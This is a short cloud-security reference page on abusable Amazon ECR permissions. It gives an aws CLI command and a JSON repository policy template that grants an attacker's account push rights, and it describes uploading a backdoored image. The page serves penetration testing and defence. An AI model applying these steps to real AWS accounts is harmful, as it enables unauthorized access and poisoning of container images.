For the complete documentation index, see llms.txt. This page is also available as Markdown.

Elastic Container Registry (ECR)

Abusable Amazon ECR permissions that can lead to compromise or privilege escalation

ecr:SetRepositoryPolicy

With access to these permissions, an attacker can create/modify a repository's resource permission policy, escalting their privileges.

aws --region us-east-1 ecr set-repository-policy --repository-name tyler/my-private-repo --policy-text file://repo_policy.json

For the repository policy, the attacker could specify all AWS principals (any in the world):

  • "Principal": "*",

  • Or could specify the ARN of the their (attacker) account's root user (which actually allows anyone in the attacker's account these permissions):

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowEveryone",
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::<attacker-aws-account-id>:root"
        ]
      },
      "Action": [
        "ecr:PutImage",
        "ecr:DescribeImages",
        "ecr:ListImages",
        "ecr:DescribeRepositories",
        "ecr:GetAuthorizationToken"
      ]
    }
  ]
}

ecr:PutImage

With access to this permission, an attacker could upload a compromised image e.g., one with a backdoor or that sends data back to a C&C server (command and control).

Last updated